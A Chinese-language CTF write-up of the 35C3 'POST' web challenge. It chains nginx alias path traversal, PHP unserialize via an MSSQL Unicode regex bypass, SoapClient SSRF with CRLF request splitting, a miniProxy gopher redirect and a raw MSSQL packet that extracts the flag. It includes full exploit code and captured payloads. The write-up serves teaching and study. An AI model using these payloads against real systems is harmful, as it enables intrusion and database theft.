35C3 POST Web 题目详解

Saferman / 2019-01-13 09:00:00 / 浏览数 2463

作者在上个月圣诞与元旦期间参加了高质量的 35C3 比赛，不得不说做一道题就收获一道题的知识，当事人觉得特别爽 。这道 Web 的 POST 题目差点和队友在比赛期间搞出来，赛后认真看了 writeup 将其解题的思路和每一步的原理做了详细的分析，现在分享给各位。

期待明年的 36C3！

题目描述：

比赛结束之后，题目链接发生了变化，但是仍可以访问，整个题目的描述如下：

> Go make some posts.
>
> Hint: flag is in db
>
> Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
>
> Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

解决题目这道题需要七个步骤，后文将按顺序进行详细分析：

- nginx misconfiguration
- arbitrary unserialize
- SoapClient SSRF
- SoapClient CRLF injection
- miniProxy URL scheme bypass
- Connect to MSSQL via gopher
- Get flag

一、Nginx Misconfiguration

首先我们使用 dirsearch 对网站进行了目录爆破，结果如下：

从结果可以看到 uploads 目录的 HTTP 状态码是 403，也许这个目录是存在的。因为从 Burp 抓包分析回响的 HTTP 头部很容易发现服务器是 nginx，由此我想到了之前读过的一篇 Nginx 不安全配置可能导致的安全漏洞 文章。

在 nginx 的配置中用 alias 设置目录的别名 ，由于 url 没加后缀 / ，而 alias 设置了有后缀 / 配置，导致可以利用 ../ 绕过限制访问目录。本题从 /uploads../ 下载源码 ，命令如下：

```
wget -m http://35.207.83.242/uploads../
```

下载下来的文件除了源码还有一个 nginx 配置文件，我们查看关键部分果然发现配置的 alias 设置出现上述问题：

```
location /uploads {
    autoindex on;
    alias /var/www/uploads/;
}
```

二、Arbitrary Unserialize + SoapClient SSRF

1. 绕过正则表达式插入可以反序列化的数据

这部分是找到反序列化利用的点，网上无论是官方 writeup 还是一些 CTFer 的 writeup 对这个部分的讲解很简单，只是找到反序列化的点，然后给出 Payload，但是怎么这个反序列化的点怎么触发的以及完整的攻击链是怎么样并没有还原出来。

这部分我带领读者详细的分析源码内容，让各位清晰地知道本题反序列化的过程（包括漏洞点和触发点的位置）

首先，在 Seay 的系统中搜索 unserialize 很容易发现，此处有一个反序列化操作：

```
private static function retrieve_values($res) {
    $result = array();
    while ($row = sqlsrv_fetch_array($res)) {
        $result[] = array_map(function($x){
            return preg_match('/^\$serializedobject\$/i', $x) ?
                unserialize(substr($x, 18)) : $x;
        }, $row);
    }
    return $result;
}
```

这是 DB 类的方法，进一步查看这个类，可以看到在 DB 的 query（用于查询 SQL 语句的方法）中调用了 retrieve_values 方法。可以看到如果符合这个正则表达式就对查询的每一个字段内容执行反序列化操作：

```
return preg_match('/^\$serializedobject\$/i', $x) ?                unserialize(substr($x, 18)) : $x;
```

但是我们查看向数据库插入内容的 insert 方法，发现如果插入的参数符合这个正则表达就视为无效数据，无法插入到数据库里：

```
if (preg_match('/^\$serializedobject\$/i', $x)
```

二者正则表达式一样怎么办呢？这里需要利用 MSSQL 数据库的一个特性：

> MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

在 mssql 中，$serializedobject$ 入库后会变成 $serializedobject$ ，注意前者的e不是 ASCII 的 e，整个字符串的 16 进制如下，可见前者的e的 hex 是 E284AE，而后者 e 的 ASCII 是 0x65。

```
 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F   0123456789ABCDEF
24 73 E2 84 AE 72 69 61 6C 69 7A 65 64 6F 62 6A   $sâ„®rializedobj
65 63 74 24 0D 0A                                 ect$..
```

这样就可以实现插入的时候正则表达式检查失败，查询的时候从数据库取出的数据对正则表达式匹配成功进而可以对 $serializedobject$ 开头的字段内容进行反序列化操作。

2. 反序列化利用思路和触发过程

既然有反序列化的点，我们需要可以利用的类，可以是代码中定义的也可以是 PHP 内置的。审计 post.php 代码如下：

```php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

}
```

这里有一个对 za 调用 open 方法的操作，这个方法刚好可以用来触发 SoapClient 的发送一个 POST 请求，这里一个知识点是：

当调用 SoapClient 类的 __call() 魔术方法的时候，会发送一个 POST 请求，请求的参数由着 SoapClient 类的一些参数决定。

__call() 魔术方法：当调用一个类不存在的方法时候会触发这个魔术方法

因此一个大胆的攻击思路就是构造一个 Attachment 类，它的 za 属性是 SoapClient 类，然后当 `__toString()` 方法被调用的时候就会对 $za 变量调用它的 open 方法，由于 SoapClient 不存在 open 方法，触发 `__call()`.

__toString() 魔术方法：当需要将这个类转换成字符串的时候就会触发这个魔术方法

注意由于题目的 index.php 直接包含了 default.php，后面对 index.php 页面提交我都说成对 default.php 提交。

完整的利用 SoapClient 的 SSRF 攻击链过程如下：

我们对 default.php 页面提交 title 和 content，注意我们的 content 参数会是我们的攻击 Payload（这里先不讲解 payload 的具体内容，我们先来看看攻击链是如何实现的，才能构造出我们的 Payload，最终的 Payload 见文末抓取的 HTTP 报文）：

```php
$post = new Post($_POST["title"], $_POST["content"], $attachments);
$post->save();
```

当我们提交 title 和 content 的时候，dafault.php 会执行上述代码，第一行只是实例化了一个 Post 类，在类的初始化方法里只是将这些参数赋值给它的属性，接着第二行调用了 Post 类的 save 方法。代码如下：

```php
public function save() {
    global $USER;
    if (is_null($this->id)) {
        DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
            array($USER->uid, $this->title, $this->content, $this->attachment));
    } else {
        DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
            array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
    }
}
```

save 方法会将 content 保存至 MSSQL 数据库，插入的时候 DB 类 ::insert 会检查所有插入的参数是否以 $serializedobject$ 开头，如果是则插入失败，因此我们使用上述 MSSQL 特性（unicode=>ACSII）让正则匹配失败，但是储存在数据库的 content 字段开头却是 $serializedobject$

然后我们直接访问 default.php，页面会执行二个操作，第一个是

```php
$posts = Post::loadall();
```

在 Post 类中，loadall 代码如下。loadall 会先根据用户的 uid 查询对应的数据库 id 值，虽然 DB:query 会检查得到每一个字段是否是 $serializedobject$，如果是就反序列化，但是 id 这个参数的值我们不可控，此处不是漏洞点，但是继续往后看会调用 load 方法。

```php
public static function loadall() {
    global $USER;
    $result = array();
    $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid));
    if (!$posts) return $result;
    foreach ($posts as $p) {
        $result[] = Post::load($p["id"]);
    }
    return $result;
}
```

Post 的 load 方法根据 id 查询出，title,content,attachment 这些内容，这时候 content 由于上面利用 MSSQL 特性可以插入 $serializedobject$ 开头的字符串，这里可以触发对 content 的反序列化得到一个类的实例，根据我们最终的 Payload 可以知道这一步执行完之后，$res['content'] 保存的是一个 Attachment 对象（它的 za 属性是一个携带新的攻击 payload 的 SoapClient）

```php
public static function load($id) {
    global $USER;
    $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
        array($USER->uid, $id));
    if (!$res) die("db error");
    $res = $res[0];
    $post = new Post($res["title"], $res["content"], $res["attachment"]);
    $post->id = $id;
    return $post;
}
```

后面的 new Post 是将 $res["title"]、$res["content"]、$res["attachment"] 保存在 Post 一个实例的属性里

- 返回这个 post 之后，由于用户可能又多次提交，所以会有多个 post 实例被返回，在 default.php 页面会循环遍历每一个 Post 实例，执行 echo $p，触发 Post 实例的 `__toString`

```php
foreach($posts as $p) {
    echo $p;
    echo "<br><br>";
}
```

注意我们的 Post 实例的 content 属性是一个反序列化得到的 Attachment 类的实例，在 Post 的 `__toString()` 里的连接字符串部分（下图红框）会触发 Attachment 的 `__toString` 方法

```php
public function __toString() {
    $str = "<h2>{$this->title}</h2>";
    $str .= $this->content;
    $str .= "<hr>Attachments:<br><il>";
    foreach ($this->attachment as $attach) {
        $str .= "<li>$attach</li>";
    }
    $str .= "</il>";
    return $str;
}
```

进一步观察 Attachment 对象的 `__toString()` 方法：

```
public function __toString() {
    $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
    if (!is_null($this->za)) {
        $this->za->open("../".$this->url);
        $str .= "with ".$this->za->numFiles . " files.";
    }
    return $str. ")";
}
```

会调用 Attachment 的 za 变量的 open 属性，由于我们的 za 是一个构造好的 SoapClient，调用一个不存在的方法会触发 SoapClient 的 `__call` 方法，从而执行了我们的 SoapClient SSRF 攻击

三、SoapClient CRLF injection

好，以及可以利用 SoapClient 进行 SSRF，下面就要想我们怎么利用 SSRF，从而构造我们 SoapClient 类部分的 Payload。

在内网 127.0.0.1:8080 有一个代理，但是我们的 nginx 配置（default.backup）限制了只能使用 Get 请求：

```
server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }

}
```

SoapClient 只能生成 POST 请求，但是好在 SoapClient 类的 `_user_agent` 属性存在 CRLF 漏洞可以注入 \n\n，然后我们想办法利用这个注入得到一个 Get 请求

这里涉及到一个知识点，我们注意上述的 nginx 配置中使用了 unix:socket

```
location / {
    alias /var/www/html/;
    index index.php;

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.2-fpm.sock;
    }
}
```

这个设置可以加快服务器的访问速度，但是同时也说明服务器在处理请求的时候直接使用 socket 流。因此在本题中，我们可以利用 a request splitting 攻击，即使用 \n\n 分隔二个请求，第一个是 POST，第二个是 GET。通过 SoapClient 的 CRLF
注入得到的二个请求如下（截图是我在本题随便测试的，与题目无关，只是看一下 POST 和 GET 报文长啥样）：

```
λ nc -lvp 8081
listening on [any] 8081 ...
connect to [127.0.0.1] from LAPTOP-RA72M29K [127.0.0.1] 1565
POST /getType HTTP/1.1
Host: localhost:8081
Connection: Keep-Alive
User-Agent: AAAAAHaha

GET /getType HTTP/1.1
Host: localhost:8081


Content-Type: text/xml; charset=utf-8
SOAPAction: "http://localhost:8081/getType#open"
Content-Length: 499

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:8081/getType
" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="h
ttp://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV
:Body><ns1:open><param0 xsi:type="xsd:string">../</param0></ns1:open></SOAP-ENV:Body></SOAP-ENV:Envelope>
```


怎么构造 CRLF 注入的 SoapClient 类，可以查看官方给的 exploit 如下：

```php
class BoapClient {
 public $uri = "http://localhost:8080/miniProxy.php";
 public $location = "http://localhost:8080/miniProxy.php";
 public $_user_agent = NULL;
 public function __construct() {
     global $payload;
     $this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload)
         )." HTTP/1.1\nHost: localhost\n\n";
}

}


$a = new Attachment(new BoapClient);
echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a)));
```


四、miniProxy URL scheme bypass

查阅 miniProxy 的代码发现：

```php
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, "//") === 0) {
    $url = "http:" . $url;
  }
} else if (!preg_match("/^https?$/i", $scheme)) {
    die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}
```


似乎只能使用 https 或者 http 的请求，但是如果是 http 开头的，并没有直接 die，会在后面进一步检查 url 有效性，如果失败，会执行：

```php
$responseURL = $responseInfo["url"];
if ($responseURL !== $url) {
  header("Location: " . PROXY_PREFIX . $responseURL, true);
  exit(0);
}
```


会执行跳转！因此如果访问 miniproxy 携带的是一个非 https 协议的并且 http 协议检查不合格的字段，比如 `miniProxy.php?gopher:///db:1433//...` 会重定向客户端使用 gopher 协议访问 MSSQL 端口！

五、Connect to MSSQL via gopher + Get Flag

我们需要精心构造 MSSQL 的 Payload，去数据库里执行我们的命令，题目也说了 flag 就在数据库里，可以用 wireshark 抓取 访问 MSSQL 数据库的流量，从而构造 gopher 的 mssql payload，只是要注意 gopher 会自动添加给请求添加 \r\n，创建 MSSQL packet 时候需要注意

在源码中发现泄露的用户名和密码，数据库 ：

```
private static function initialize() {
    DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));
    if (!DB::$con) DB::error();

    DB::$init = true;
}
```

这里由于没有回显，需要将查询到的信息或者 flag 插入到 post 的 content 里，然后访问网页让其显示出来，执行的语句如下：

```
INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -
```

末尾加入-- -是为了注释掉 \x0a\x0a gopher 自动添加的内容，不然 query 无法成功执行

注意这里有个利用点，访问 default.php 时候加入 Debug: 1 这个 HTTP 头可以看到你的 uid。

最终 Payload

最终我修改官方 EXP 如下：

```
def inject_object(payload):
    serialized = subprocess.check_output(["php", "exploit.php", payload])
    serialized = base64.b64decode(serialized)
    files = {
            "title": (None, "foobar"),
            "content": (None, serialized),
    }
    proxies ={
    "http":"http://127.0.0.1:8080"
    }
    s.post("{}?action=create".format(TARGET), files=files, proxies=proxies).content
```

截获到的 Payload 如下：

```
Accept: */*
Connection: close
Cookie: PHPSESSID=91atkj0sqfbsc1ned0no5jot2c
Content-Length: 1850
Content-Type: multipart/form-data; boundary=78c9bf9cc5d05c984c7fb8ec26fa9649

--78c9bf9cc5d05c984c7fb8ec26fa9649
Content-Disposition: form-data; name="title"

foobar
--78c9bf9cc5d05c984c7fb8ec26fa9649
Content-Disposition: form-data; name="content"

$serializedobject龘:10:"Attachment":1:{s:2:"za";O:10:"SoapClient":3:{s:3:"uri";s:35:"http://localhost:8080/miniProxy.php";s:8:"location";s:35:"http://localhost:8080/miniProxy.php";s:11:"_user_agent";s:1419:"AAAAAHaha

GET
/miniProxy.php?gopher:///db:1433/A%12%01%00%2F%00%00%01%00%00%00%1A%00%06%01%00%20%00%01%02%00%21%00%01%03%00%22%00%04%04%00%26%00%01%FF%00%00%00%01%00%01%02%00%00%00%00%00%10%01%00%DE%00%00%01%00%D6%00%00%00%04%00%00t%00%10%00%00%00%00%00%00T0%00%00%00%00%00%00%E0%00%00%08%C4%FF%FF%FF%09%04%00%00%5E%00%07%00l%00%0A%00%80%00%08%00%90%00%0A%00%A4%00%09%00%B6%00%00%00%B6%00%07%00%C4%00%00%00%C4%00%09%00%01%02%03%04%05%06%D6%00%00%00%D6%00%00%00%D6%00%00%00%00%00%00%00a%00w%00e%00s%00o%00m%00e%00c%00h%00a%00l%00l%00e%00n%00g%00e%00r%00%C1%A5S%A5S%A5%83%A5%B3%A5%82%A5%B6%A5%87%A5n%00o%00d%00e%00-%00m%00s%00s%00q%00l%00l%00o%00c%00a%00l%00h%00o%00s%00t%00T%00e%00d%00i%00o%00u%00s%00c%00h%00a%00l%00l%00e%00n%00g%00e%00%01%01%01%18%00%00%01%00%16%00%00%00%12%00%00%00%02%00%00%00%00%00%00%00%00%01%00%00%00i%00n%00s%00e%00r%00t%00%20%00i%00n%00t%00o%00%20%00p%00o%00s%00t%00s%00%20%00%28%00u%00s%00e%00r%00i%00d%00%2C%00%20%00t%00i%00t%00l%00e%00%2C%00%20%00c%00o%00n%00t%00e%00n%00t%00%2C%00%20%00a%00t%00t%00a%00c%00h%00m%00e%00n%00t%00%29%00%20%00v%00a%00l%00u%00e%00s%00%20%00%28%001%005%008%004%00%2C%00%20%00%22%00f%00o%00o%00b%00a%00r%00%22%00%2C%00%20%00%28%00s%00e%00l%00e%00c%00t%00%20%00f%00l%00a%00g%00%20%00f%00r%00o%00m%00%20%00f%00l%00a%00g%00.%00f%00l%00a%00g%00%29%00%2C%00%20%00%22%00f%00o%00o%00b%00a%00r%00%22%00%29%00%3B%00%3B%00-%00-%00%20%00-%00 HTTP/1.1
Host: localhost

"}}
--78c9bf9cc5d05c984c7fb8ec26fa9649--
```

心得

当事人表示很爽，非常爽

点击收藏 | 1 关注 | 1

上一篇：路由器漏洞挖掘测试环境的搭建之问题总结 下一篇：CVE-2018-8653分析—I...

1. 0 条回复
   - 动动手指，沙发就是你的了！